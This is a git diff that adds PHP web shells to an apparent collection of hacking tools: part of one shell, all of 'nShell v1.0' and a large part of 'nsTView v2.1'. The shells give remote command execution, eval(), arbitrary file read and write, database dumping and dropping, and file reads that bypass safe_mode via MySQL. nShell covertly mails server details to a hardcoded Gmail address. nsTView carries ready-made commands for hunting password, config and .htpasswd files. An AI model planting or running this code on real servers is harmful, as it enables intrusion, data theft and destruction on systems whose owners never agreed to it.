+if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile12 ";}
+if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile13 ";}
+if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile14 ";}
+if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile15 ";}
+if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile16 ";}
+if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile17 ";}
+if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile18 ";}
+if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile19 ";}
+if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile20 ";}
+}
+
+exit;
+break;
+case "selfremover":
+ print "";
+print "Òû óâåðåí, ÷òî õî÷åøü óäàëèòü ýòîò øåëë ñ ñåðâåðà?
+Äà, õî÷ó | Íåò, ïóñòü åùå ïîáóäåò
+Áóäåì óäàëÿòü ";
+$path=__FILE__;
+print $path;
+print " ?
";
+die;
+}
+
+if($p=="yes"){
+$path=__FILE__;
+@unlink($path);
+$path=str_replace("\\","/",$path);
+if(file_exists($path)){$hmm="Ôàéë íåâîçìîæíî óäàëèòü!";
+print " Ôàéë $path íå óäàëåí! ";
+}else{$hmm="Óäàëåí";}
+print "";
+
+}
+break;
+
+
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/nshell.php.php.txt b/xakep-shells/PHP/nshell.php.php.txt
new file mode 100644
index 0000000..c5be33a
--- /dev/null
+++ b/xakep-shells/PHP/nshell.php.php.txt
@@ -0,0 +1,371 @@
+?»?
+ nShell v1.0
+
+
+
+
+ System information: : "; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
+?>
+
+
+Safe_mode: ON "):("Safe_mode: OFF "));
+echo " ";
+// phpversion
+echo "Php version : ".@phpversion()." ";
+echo " ";
+// curl
+$curl_on = @function_exists('curl_version');
+echo "cURL: ".(($curl_on)?("ON "):("OFF "));
+echo " ";
+// mysql
+echo "MYSQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){echo "ON ";}else{echo "OFF ";}
+echo " ";
+// msssql
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo " ";
+// PostgreSQL
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo " ";
+// Oracle
+echo "Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";}
+echo " ";
+echo " ";
+// Disable function
+echo "Disable functions : ";
+$df=@ini_get('disable_functions');
+if(!$df){echo "NONE ";}else{echo "$df ";}
+echo " ";
+//==============xac dinh os==================
+$servsoft = $_SERVER['SERVER_SOFTWARE'];
+if (ereg("Win32", $servsoft)){
+$sertype = "win";
+}
+else
+{
+$sertype = "nix";
+}
+//=========================================
+
+$uname=ex('uname -a');
+ echo " OS: ";
+ if (empty($uname)){
+ echo (php_uname()." ");
+ }else
+ echo $uname."";
+ $id = ex('id');
+ $server=$HTTP_SERVER_VARS['SERVER_SOFTWARE'];
+ echo "SERVER: ".$server." ";
+ echo "id: ";
+ if (!empty($id)){
+ echo $id." ";
+ }else
+ echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid().
+ "";
+echo "Php Info ";
+
+?>
+
+ File Manager
+Sql Query
+Eval()
+
+ Php Version :".phpversion()." ";
+phpinfo();
+echo "";
+}
+?>
+ Name Type Size Perms Delete ";
+foreach ($arr as $filename) {
+if ($filename != "." and $filename != ".."){
+if (is_dir($filename) == true){
+$directory = "";
+$dc=str_replace("\\","",dirname($_SERVER['PHP_SELF']));
+$directory = $directory . "$filename " .ucwords(filetype($filename)) . " " . perms(fileperms($filename))." Del ";
+$dires = $dires . $directory;
+}
+if (is_file($filename) == true){
+$file = "";
+$link=str_replace(basename($_SERVER['REDIRECT_URL']),$filename,$_SERVER['REDIRECT_URL']);
+$file = $file . "$filename " .ucwords(filetype($filename)). " " . filesize($filename) . " " . perms(fileperms($filename))." Del Edit ";
+$files = $files . $file;
+}
+}
+}
+echo $dires;
+echo $files;
+echo "
";
+}
+// view file ex: /etc/passwd
+if(isset($_REQUEST['file']))
+ {
+$file=@$_REQUEST["file"];
+echo "File : ". $file." ";
+$fp=fopen($file,"r+") or die("Ban khong co quyen de ghi vao File nay , hoac do khong tim thay File");
+$src=@fread($fp,filesize($file));
+echo "".htmlspecialchars(stripslashes($src))." ";
+$addtxt=@$_POST["addtxt"];
+ rewind($fp);
+ if($addtxt=="") @fwrite($fp,stripslashes($src)); else $rs=@fwrite($fp,stripslashes($addtxt));
+ if($rs==true)
+ {
+ echo "Noi dung cua file nay da duoc sua doi !Xem lai ";
+ }
+ ftruncate($fp,ftell($fp));
+echo " ";
+ }
+
+?>
+
+Query # ".$query." ";
+$result=@mysql_query($query) or die("Khong update du lieu duoc !");
+if(mysql_affected_rows($result)>=0) echo "Affected rows : ".mysql_affected_rows($result)."This is Ok ! ^.^ ";
+}
+function exe_c($query)
+{
+echo "Query # ".$query." ";
+$result=@mysql_query($query) or die("Khong Create duoc !");
+echo "This is Ok ! ^.^ " ;
+}
+function exe_d($query)
+{
+echo "Query # ".$query." ";
+$result=@mysql_query($query) or die("Khong Drop duoc !");
+echo "This is Ok ! ^.^ " ;
+}
+function exe_w($query)
+{
+echo "Query # ".$query." ";
+$result=@mysql_query($query) or die("Khong the show gi duoc het !");
+if(eregi("fields",$query)) {
+while($row=@mysql_fetch_array($result,MYSQL_ASSOC)){
+echo "".$row['Field']." : b> ".$row['Type'];
+echo " ";
+}
+} else {
+while($row=@mysql_fetch_array($result,MYSQL_ASSOC)){
+ while(list($key,$value)=each($row))
+{
+ echo "".$value." ";
+}
+echo " ";
+}
+}
+}
+function exe_s($query)
+{
+$arrstr=@array();$i=0;
+$arrstr=explode(" ",$query);
+$find_field=@mysql_query("show fiedls from ".$arrstr['4']);
+while($find_row=@mysql_fetch_array($find_field,MYSQL_ASSOC)){
+$i++;
+$arrstr[$i]=$find_row['Field'];
+}
+echo "Query # ".$query." ";
+$result=@mysql_query($query) or die("Khong the select gi duoc het !");
+$row=@mysql_num_rows($result);
+}
+function sql($string)
+{
+$arr=@array();
+$arr=explode(";",$string);
+for($i=0;$i<=count($arr);$i++)
+ {
+ $check_u=eregi("update",@$arr[$i]); if($check_u==true) exe_u(@$arr[$i]);
+ $check_e=eregi("use",@$arr[$i]); if($check_u==true) exe_u(@$arr[$i]);
+ $check_c=eregi("create",@$arr[$i]); if($check_c==true) exe_c(@$arr[$i]);
+ $check_d=eregi("drop",@$arr[$i]); if($check_d==true) exe_d(@$arr[$i]);
+ $check_w=eregi("show",@$arr[$i]); if($check_w==true) exe_w(@$arr[$i]);
+ $check_s=eregi("select",@$arr[$i]); if($check_s==true) exe_s(@$arr[$i]);
+ }
+}
+//=====xong phan function cho sql
+// Sql query
+if($act=="sql")
+{
+ if(isset($_GET['srname'])&&isset($_GET['pass']))
+ {
+ echo $_GET['srname'];
+if(!isset($_GET['srname'])) $servername=$_GET['srname'];
+ else $servername="localhost";
+$con=@mysql_connect($servername,$_GET['uname'],$_GET['pass']) or die("Khong the connect duoc !");
+$form2=" ";
+echo $form2;
+$str=@$_POST['str'];
+if(isset($str)) sql($str);
+ }
+ else {
+ echo "chao";
+ $form1=" ";
+ echo $form1;
+ }
+}
+?>
+
+ ";
+}else{
+eval($script);
+}
+}
+?>
+
+
+
+! nShell v1.0. Code by Navaro. Have Fun ! {^.^} { ~.~}
+
+
+
+
+
diff --git a/xakep-shells/PHP/nst.php.php.txt b/xakep-shells/PHP/nst.php.php.txt
new file mode 100644
index 0000000..48dc6e5
--- /dev/null
+++ b/xakep-shells/PHP/nst.php.php.txt
@@ -0,0 +1,2136 @@
+
+@session_start();
+@set_time_limit(0);
+@set_magic_quotes_runtime(0);
+error_reporting(E_ALL & ~E_NOTICE);
+#####cfg#####
+# use password true / false #
+$create_password = true;
+$password = "nst666"; // default password for nstview, you can change it.
+
+# UNIX COMMANDS
+# description (nst) command
+# example: Shutdown (nst) shutdown -h now
+$fast_commands = "
+Show open ports (nst) netstat -an | grep LISTEN | grep tcp
+last root (nst) last root
+last (all users) (nst) last all
+Find all config.php in / (nst) find / -type f -name config.php
+Find all config.php in . (nst) find . -type f -name config.php
+Find all admin.php in / (nst) find / -type f -name admin.php
+Find all admin.php in . (nst) find . -type f -name admin.php
+Find all config.inc.php in / (nst) find / -type f -name config.inc.php
+Find all config.inc.php in . (nst) find . -type f -name config.inc.php
+Find all config.inc in / (nst) find / -type f -name config.inc
+Find all config.inc in . (nst) find . -type f -name config.inc
+Find all config.dat in / (nst) find / -type f -name config.dat
+Find all config.dat in . (nst) find . -type f -name config.dat
+Find all config* in / (nst) find / -type f -name config*
+Find all config* in . (nst) find . -type f -name config*
+Find all pass* in / (nst) find / -type f -name pass*
+Find all pass* in . (nst) find . -type f -name pass*
+Find all .bash_history in / (nst) find / -type f -name .bash_history
+Find all .bash_history in . (nst) find . -type f -name .bash_history
+Find all .htpasswd in / (nst) find / -type f -name .htpasswd
+Find all .htpasswd in . (nst) find . -type f -name .htpasswd
+Find all writable dirs/files in / (nst) find / -perm -2 -ls
+Find all writable dirs/files in . (nst) find . -perm -2 -ls
+Find all suid files in / (nst) find / -type f -perm -04000 -ls
+Find all suid files in . (nst) find . -type f -perm -04000 -ls
+Find all sgid files in / (nst) find / -type f -perm -02000 -ls
+Find all sgid files in . (nst) find . -type f -perm -02000 -ls
+Find all .fetchmailrc files in / (nst) find / -type f -name .fetchmailrc
+Find all .fetchmailrc files in . (nst) find . -type f -name .fetchmailrc
+OS Version? (nst) sysctl -a | grep version
+Kernel version? (nst) cat /proc/version
+cat syslog.conf (nst) cat /etc/syslog.conf
+Cat - Message of the day (nst) cat /etc/motd
+Cat hosts (nst) cat /etc/hosts
+Distrib name (nst) cat /etc/issue.net
+Distrib name (2) (nst) cat /etc/*-realise
+Display all process - wide output (nst) ps auxw
+Display all your process (nst) ps ux
+Interfaces (nst) ifconfig
+CPU? (nst) cat /proc/cpuinfo
+RAM (nst) free -m
+HDD space (nst) df -h
+List of Attributes (nst) lsattr -a
+Mount options (nst) cat /etc/fstab
+Is cURL installed? (nst) which curl
+Is wGET installed? (nst) which wget
+Is lynx installed? (nst) which lynx
+Is links installed? (nst) which links
+Is fetch installed? (nst) which fetch
+Is GET installed? (nst) which GET
+Is perl installed? (nst) which perl
+Where is apache (nst) whereis apache
+Where is perl (nst) whereis perl
+locate proftpd.conf (nst) locate proftpd.conf
+locate httpd.conf (nst) locate httpd.conf
+locate my.conf (nst) locate my.conf
+locate psybnc.conf (nst) locate psybnc.conf
+";
+
+
+
+# WINDOWS COMMANDS
+# description (nst) command
+# example: Delete autoexec.bat (nst) del c:\autoexec.bat
+$fast_commands_win = "
+OS Version (nst) ver
+Tasklist (nst) tasklist
+Attributes in . (nst) attrib
+Show open ports (nst) netstat -an
+";
+
+
+
+
+
+######ver####
+$ver= "v2.1";
+#############
+$pass=$_POST['pass'];
+if($pass==$password){
+$_SESSION['nst']="$pass";
+}
+if ($_SERVER["HTTP_CLIENT_IP"]) $ip = $_SERVER["HTTP_CLIENT_IP"];
+else if($_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
+else if($_SERVER["REMOTE_ADDR"]) $ip = $_SERVER["REMOTE_ADDR"];
+else $ip = $_SERVER['REMOTE_ADDR'];
+$ip=htmlspecialchars($ip);
+
+if($create_password==true){
+
+if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password){
+die("
+nsTView $ver:: nst.void.ru
+
+
+");}
+
+}
+$d=$_GET['d'];
+
+function adds($editf){
+#if(get_magic_quotes_gpc()==0){
+$editf=addslashes($editf);
+#}
+return $editf;
+}
+function adds2($editf){
+if(get_magic_quotes_gpc()==0){
+$editf=addslashes($editf);
+}
+return $editf;
+}
+
+$f = "nst_sql.txt";
+$f_d = $_GET['f_d'];
+
+if($_GET['download']){
+$download=$_GET['download'];
+header("Content-disposition: attachment; filename=\"$download\";");
+readfile("$d/$download");
+exit;}
+
+if($_GET['dump_download']){
+header("Content-disposition: attachment; filename=\"$f\";");
+header("Content-length: ".filesize($f_d."/".$f));
+header("Expires: 0");
+readfile($f_d."/".$f);
+if(is_writable($f_d."/".$f)){
+unlink($f_d."/".$f);
+}
+die;
+}
+
+
+$images=array(".gif",".jpg",".png",".bmp",".jpeg");
+$whereme=getcwd();
+@$d=@$_GET['d'];
+$copyr = "nsTView $ver o... Network security team ...o ";
+$php_self=@$_SERVER['PHP_SELF'];
+if(@eregi("/",$whereme)){$os="unix";}else{$os="win";}
+if(!isset($d)){$d=$whereme;}
+$d=str_replace("\\","/",$d);
+if(@$_GET['p']=="info"){
+@phpinfo();
+exit;}
+if(@$_GET['img']=="1"){
+@$e=$_GET['e'];
+header("Content-type: image/gif");
+readfile("$d/$e");
+}
+if(@$_GET['getdb']=="1"){
+header('Content-type: application/plain-text');
+header('Content-Disposition: attachment; filename=nst-mysql-damp.htm');
+}
+print "nsT View $ver
+
+
+";
+print "
+
+0 ";
+$expl=explode("/",$d);
+$coun=count($expl);
+if($os=="unix"){echo "/ ";}
+else{
+ echo "$expl[0]/ ";}
+for($i=1; $i<$coun; $i++){
+ @$xx.=$expl[$i]."/";
+$sls="$expl[$i] /";
+$sls=str_replace("//","/",$sls);
+$sls=str_replace("/'>/","/'>",$sls);
+print $sls;
+}
+if(@ini_get("register_globals")){$reg_g="ON";}else{$reg_g="OFF";}
+if(@ini_get("safe_mode")){$safe_m="ON";}else{$safe_m="OFF";}
+echo " ";
+if($os=="unix"){ echo "
+id: ".@exec('id')."
+uname -a: ".@exec('uname -a')." ";} echo"
+Your IP: [$ip ] Server IP: [".gethostbyname($_SERVER["HTTP_HOST"])." ] Server H.D. : [".$_SERVER["HTTP_HOST"]." ]
+[Safe mode: $safe_m] [Register globals: $reg_g]
+[Back ]
+[Home ]
+[Shell (1) (2) ]
+[Upload ]
+[Tools ]
+[PHPinfo ]
+[DEL Folder ]
+[SQL ]
+[Self Remover ]
+
+";
+if($os=="win"){ echo "
+
+<
+A
+B
+C
+D
+E
+F
+G
+H
+I
+J
+K
+L
+M
+N
+O
+P
+Q
+R
+S
+T
+U
+V
+W
+X
+Y
+Z
+ ";}else{echo " ";}
+print "
+:: Create folder ::
+Create file ::
+Read file if safe mode is On ::";
+if($os=="unix"){
+print "PS table ::";
+}
+print " ";
+
+
+
+
+
+if($_GET['p']=="ftp"){
+print "";
+
+
+
+print "
";
+print $copyr;
+exit;
+}
+
+
+
+
+
+
+
+
+
+
+if(@$_GET['p']=="sql"){
+print "";
+###
+
+$f_d = $_GET['f_d'];
+if(!isset($f_d)){$f_d=".";}
+if($f_d==""){$f_d=".";}
+
+$php_self=$_SERVER['PHP_SELF'];
+$delete_table=$_GET['delete_table'];
+$tbl=$_GET['tbl'];
+$from=$_GET['from'];
+$to=$_GET['to'];
+$adress=$_POST['adress'];
+$port=$_POST['port'];
+$login=$_POST['login'];
+$pass=$_POST['pass'];
+$adress=$_GET['adress'];
+$port=$_GET['port'];
+$login=$_GET['login'];
+$pass=$_GET['pass'];
+$conn=$_GET['conn'];
+if(!isset($adress)){$adress="localhost";}
+if(!isset($login)){$login="root";}
+if(!isset($pass)){$pass="";}
+if(!isset($port)){$port="3306";}
+if(!isset($from)){$from=0;}
+if(!isset($to)){$to=50;}
+
+
+?>
+
+
+ if(!$conn){ ?>
+
+
+
+
+
+
+
+$conn=$_GET['conn'];
+$adress=$_GET['adress'];
+$port=$_GET['port'];
+$login=$_GET['login'];
+$pass=$_GET['pass'];
+if($conn){
+
+$serv = @mysql_connect($adress.":".$port, $login,$pass) or die("Error: ".mysql_error()." ");
+if($serv){$status="Connected. :: Log out ";}else{$status="Disconnected.";}
+print "Status: $status "; # #D7FFA8
+print "";
+print "[db] ";
+print "";
+$res = mysql_list_dbs($serv);
+while ($str=mysql_fetch_row($res)){
+print "[DEL] [DUMP] $str[0] ";
+$tc++;
+}
+$baza=$_GET['baza'];
+$db=$_GET['db'];
+print "[Total db: $tc] ";
+if($baza){
+print "db: [$db]
";
+$result=@mysql_list_tables($db);
+while($str=@mysql_fetch_array($result)){
+$c=mysql_query ("SELECT COUNT(*) FROM $str[0]");
+$records=mysql_fetch_array($c);
+
+if(strlen($str[0])>$s4ot){$s4ot=strlen($str[0]);}
+if($records[0]=="0"){
+print "[D] [R] [$records[0]] $str[0] ";
+}else{
+print "[D] [R] [$records[0]] $str[0] ";
+}
+mysql_free_result($c);
+$total_t++;
+}
+print "Total tables: $total_t ";
+ print "";
+for($i=0; $i<$s4ot+10; $i++){print " ";}
+ print " ";
+} #end baza
+
+
+
+
+# delete table
+if(isset($delete_table)){
+mysql_select_db($_GET['db']) or die("".mysql_error()." ");
+mysql_query("DROP TABLE IF EXISTS $delete_table") or die("".mysql_error()." ");
+print "Table [ $delete_table ] :: Deleted success! ";
+print " ";
+}
+# end of delete table
+
+# delete database
+if(isset($_GET['delete_db'])){
+mysql_drop_db($_GET['delete_db']) or die("".mysql_error()." ");
+print "Database ".$_GET['delete_db']." :: Deleted Success!";
+print " ";
+}
+# end of delete database
+
+# delete row
+if(isset($_POST['delete_row'])){
+$_POST['delete_row'] = base64_decode($_POST['delete_row']);
+mysql_query("DELETE FROM ".$_GET['tbl']." WHERE ".$_POST['delete_row']) or die("".mysql_error()." ");
+$del_result = "Deleted Success! ".$_POST['delete_row'];
+print " ";
+}
+# end of delete row
+
+
+$vn=$_GET['vn'];
+print " ";
+print "Database: $db => $vn ";
+
+# edit row
+if(isset($_POST['edit_row'])){
+$edit_row=base64_decode($_POST['edit_row']);
+
+$r_edit = mysql_query("SELECT * FROM $tbl WHERE $edit_row") or die("".mysql_error()." ");
+print "
+ ";
+print " ";
+if(!$_POST['makeupdate']){print " ";}
+
+
+
+
+if($_POST['makeupdate']){
+if($_POST['upd']=='update'){
+preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
+$delstring=$_POST['delstring'];
+$delstring=base64_decode($delstring);
+$delstring = substr($delstring, 0, strlen($delstring)-5);
+
+for($i=0; $iPHP var: \$sql=\"$up_string\"; ";
+print " ";
+mysql_query($up_string) or die("".mysql_error()." ");
+}#end of make update
+
+
+
+if($_POST['upd']=='insert'){
+preg_match_all("/name='(.*?)'\scols=39\srows=5>(.*?)<\/textarea>/i",$buff,$matches3);
+$delstring=$_POST['delstring'];
+$delstring=base64_decode($delstring);
+$delstring = substr($delstring, 0, strlen($delstring)-5);
+
+for($i=0; $i".mysql_error()."");
+print "PHP var: \$sql=\"$make_insert\"; ";
+print " ";
+}#end of insert
+}#end of update
+}
+# end of edit row
+
+
+# insert new line
+if($_GET['ins_new_line']){
+$qn = mysql_query('SHOW FIELDS FROM '.$tbl) or die("".mysql_error()." ");
+print "
+Insert new line in $tbl table ";
+print "";
+while ($new_line = mysql_fetch_array($qn, MYSQL_ASSOC)) {
+foreach ($new_line as $key =>$next) {
+$buff .= "$next ";
+}
+$expl=explode(" ",$buff);
+$buff2 .= $expl[0]." ";
+print "$expl[0] ($expl[1] )
+
+ ";
+unset($buff);
+}
+print "
+ ";
+if($_POST['mk_ins']){
+preg_match_all("/(.*?)\s/i",$buff2,$matches3);
+for($i=0; $i".mysql_error()."");
+print "PHP var: \$sql=\"$make_insert\"; ";
+print " ";
+}#end of mk ins
+}#end of ins new line
+
+
+
+
+
+
+if(isset($_GET['rename_table'])){
+$rename_table=$_GET['rename_table'];
+print " Rename $rename_table to
+
+
+
+
+";
+
+if(isset($_POST['new_name'])){
+mysql_select_db($db) or die("".mysql_error()." ");
+mysql_query("RENAME TABLE $rename_table TO ".$_POST['new_name']) or die("".mysql_error()." ");
+print "Table $rename_table renamed to ".$_POST['new_name']." ";
+print " ";
+}
+
+}#end of rename
+
+
+# dump table
+if($_GET['dump']){
+if(!is_writable($f_d)){die("This folder $f_d isnt writable! Cannot make dump.
+You can change temp folder for dump file in your browser!
+Change variable &f_d=(here writable directory, expl: /tmp or c:/windows/temp)
+Then press enter
+ ");}
+mysql_select_db($db) or die("".mysql_error()." ");
+$fp = fopen($f_d."/".$f,"w");
+fwrite($fp, "# nsTView.php v$ver
+# Web: http://nst.void.ru
+# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
+# MySQL version: ".mysql_get_server_info()."
+# PHP version: ".phpversion()."
+# Date: ".date("d.m.Y - H:i:s")."
+# Dump db ( $db ) Table ( $tbl )
+# --- eof ---
+
+");
+$que = mysql_query("SHOW CREATE TABLE `$tbl`") or die("".mysql_error()." ");
+$row = mysql_fetch_row($que);
+fwrite($fp, "DROP TABLE IF EXISTS `$tbl`;\r\n");
+$row[1]=str_replace("\n","\r\n",$row[1]);
+fwrite($fp, $row[1].";\r\n\r\n");
+$que = mysql_query("SELECT * FROM `$tbl`");
+if(mysql_num_rows($que)>0){
+while($row = mysql_fetch_assoc($que)){
+$keys = join("`, `", array_keys($row));
+$values = array_values($row);
+foreach($values as $k=>$v) {$values[$k] = adds2($v);}
+$values = implode("', '", $values);
+$sql = "INSERT INTO `$tbl`(`$keys`) VALUES ('".$values."');\r\n";
+fwrite($fp, $sql);
+}
+}
+fclose($fp);
+print " ";
+}#end of dump
+
+
+
+
+# db dump
+if($_GET['dump_db']){
+$c=mysql_num_rows(mysql_list_tables($db));
+if($c>=1){
+print " Dump database $db ";
+}else{
+print "Cannot dump database. No tables exists in $db db. ";
+die;
+}
+if(sizeof($tabs)==0){
+$res = mysql_query("SHOW TABLES FROM $db");
+if(mysql_num_rows($res)>0){
+while($row=mysql_fetch_row($res)){
+$tabs[] .= $row[0];
+}
+}
+}
+$fp = fopen($f_d."/".$f,"w");
+fwrite($fp, "# nsTView.php v$ver
+# Web: http://nst.void.ru
+# Dump from: ".$_SERVER["SERVER_NAME"]." (".$_SERVER["SERVER_ADDR"].")
+# MySQL version: ".mysql_get_server_info()."
+# PHP version: ".phpversion()."
+# Date: ".date("d.m.Y - H:i:s")."
+# Dump db ( $db )
+# --- eof ---
+
+");
+foreach($tabs as $tab) {
+fwrite($fp,"DROP TABLE IF EXISTS `$tab`;\r\n");
+$res = mysql_query("SHOW CREATE TABLE `$tab`");
+$row = mysql_fetch_row($res);
+$row[1]=str_replace("\n","\r\n",$row[1]);
+fwrite($fp, $row[1].";\r\n\r\n");
+$res = mysql_query("SELECT * FROM `$tab`");
+if(mysql_num_rows($res)>0){
+while($row=mysql_fetch_assoc($res)){
+$keys = join("`, `", array_keys($row));
+$values = array_values($row);
+foreach($values as $k=>$v) {$values[$k] = adds2($v);}
+$values = join("', '", $values);
+$sql = "INSERT INTO `$tab`(`$keys`) VALUES ('$values');\r\n";
+fwrite($fp, $sql);
+}}
+fwrite($fp, "\r\n\r\n\r\n");
+}
+fclose($fp);
+print " ";
+}#end of db dump
+
+
+
+
+
+
+$vnutr=$_GET['vnutr'];
+$tbl=$_GET['tbl'];
+if($vnutr and !$_GET['ins_new_line']){
+print "";
+$vn=$_GET['vn'];
+$from=$_GET['from'];
+$to=$_GET['to'];
+$from=$_GET['from'];
+$to=$_GET['to'];
+if(!isset($from)){$from=0;}
+if(!isset($to)){$to=50;}
+$query = "SELECT * FROM $vn LIMIT $from,$to";
+$result = mysql_query($query);
+$result1= mysql_query($query);
+print $del_result;
+print "";
+} #end vnutr
+print "
";
+} # end $conn
+
+
+### end of sql
+print "
";
+print $copyr;
+die;
+}
+
+
+@$p=$_GET['p'];
+if(@$_GET['p']=="selfremover"){
+ print "";
+print "Are you sure?
+Yes | No
+Remove: ";
+$path=__FILE__;
+print $path;
+print " ?
";
+die;
+}
+
+if($p=="yes"){
+$path=__FILE__;
+@unlink($path);
+$path=str_replace("\\","/",$path);
+if(file_exists($path)){$hmm="NOT DELETED!!!";
+print "FILE $path NOT DELETED ";
+}else{$hmm="DELETED";}
+print "";
+
+}
+
+
+
+if($os=="unix"){
+function fastcmd(){
+global $fast_commands;
+$c_f=explode("\n",$fast_commands);
+$c_f=count($c_f)-2;
+print "
+
+Total commands: $c_f
+";
+
+$c=substr_count($fast_commands," (nst) ");
+for($i=0; $i<=$c; $i++){
+ $expl2=explode("\r\n",$fast_commands);
+ $expl=explode(" (nst) ",$expl2[$i]);
+ if(trim($expl[1])!=""){
+ print "$expl[0] \r\n";
+ }
+}
+
+print "
+
+
+";
+}
+}#end of os unix
+
+
+if($os=="win"){
+function fastcmd(){
+global $fast_commands_win;
+$c_f=explode("\n",$fast_commands_win);
+$c_f=count($c_f)-2;
+print "
+
+Total commands: $c_f
+";
+
+$c=substr_count($fast_commands_win," (nst) ");
+for($i=0; $i<=$c; $i++){
+ $expl2=explode("\r\n",$fast_commands_win);
+ $expl=explode(" (nst) ",$expl2[$i]);
+ if(trim($expl[1])!=""){
+ print "$expl[0] \r\n";
+ }
+}
+
+print "
+
+
+";
+}
+}#end of os win
+
+
+echo "
+";
+if(@$_GET['sh311']=="1"){echo "cmd pwd:
+";
+chdir($d);
+echo getcwd()."
+Fast cmd: ";
+fastcmd();
+if($os=="win"){$d=str_replace("/","\\\\",$d);}
+print "
+Insert pwd
+
+";
+if(@$_POST['sh3']){
+$sh3=$_POST['sh3'];
+echo "";
+print `$sh3`;
+echo " ";
+}
+}
+
+if(@$_GET['sh311']=="2"){
+echo "cmd
+pwd:
+";
+chdir($d);
+echo getcwd()."
+Fast cmd: ";
+fastcmd();
+if($os=="win"){$d=str_replace("/","\\\\",$d);}
+print "
+Insert pwd
+ ";
+if(@$_POST['sh3']){
+$sh3=$_POST['sh3'];
+echo ""; print `$sh3`; echo " ";}
+echo $copyr;
+exit;}
+
+if(@$_GET['delfl']){
+@$delfolder=$_GET['delfolder'];
+echo "DELETE FOLDER: ".@$_GET['delfolder']."
+(All files must be writable)
+Yes || No
+";
+echo $copyr;
+exit;
+}
+
+
+$mkdir=$_GET['mkdir'];
+if($mkdir){
+print "Create Folder in $d :
+
+New folder name:
+
+
+";
+if($_POST['dir_n']){
+mkdir($d."/".$_POST['dir_n']) or die('Cannot create directory '.$_POST['dir_n']);
+print "Directory created success! ";
+}
+print $copyr;
+die;
+}
+
+
+$mkfile=$_GET['mkfile'];
+if($mkfile){
+print "Create file in $d :
+
+File name:
+(example: hello.txt , hello.php)
+
+
+";
+if($_POST['file_n']){
+$fp=fopen($d."/".$_POST['file_n'],"w") or die('Cannot create file '.$_POST['file_n']);
+fwrite($fp,"");
+print "File created success! ";
+}
+print $copyr;
+die;
+}
+
+
+$ps_table=$_GET['ps_table'];
+if($ps_table){
+
+if($_POST['kill_p']){
+exec("kill -9 ".$_POST['kill_p']);
+}
+
+$str=`ps aux`;
+
+# You can put here preg_match_all for other distrib/os
+preg_match_all("/(?:.*?)([0-9]{1,7})(.*?)\s\s\s[0-9]:[0-9][0-9]\s(.*)/i",$str,$matches);
+
+
+print "PS Table :: Fast kill program
+(p.s: Tested on Linux slackware 10.0)
+ ";
+print " ";
+unset($str);
+print $copyr;
+die;
+}#end of ps table
+
+
+$read_file_safe_mode=$_GET['read_file_safe_mode'];
+if($read_file_safe_mode){
+
+if(!isset($_POST['l'])){$_POST['l']="root";}
+
+print "
+Read file content using MySQL - when safe_mode , open_basedir is ON
+
+
+(example: /etc/hosts)
+
+
+
+ ";
+
+if($_POST['read_file']){
+$read_file=$_POST['read_file'];
+@mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("".mysql_error()." ");
+mysql_create_db("tmp_bd_file") or die("".mysql_error()." ");
+mysql_select_db("tmp_bd_file") or die("".mysql_error()." ");
+mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("".mysql_error()." ");
+mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file");
+$query = "SELECT * FROM tmp_file";
+$result = mysql_query($query) or die("".mysql_error()." ");
+print "File content : ";
+for($i=0;$i$col_value) {
+print htmlspecialchars($col_value)." ";}}
+mysql_free_result($result);
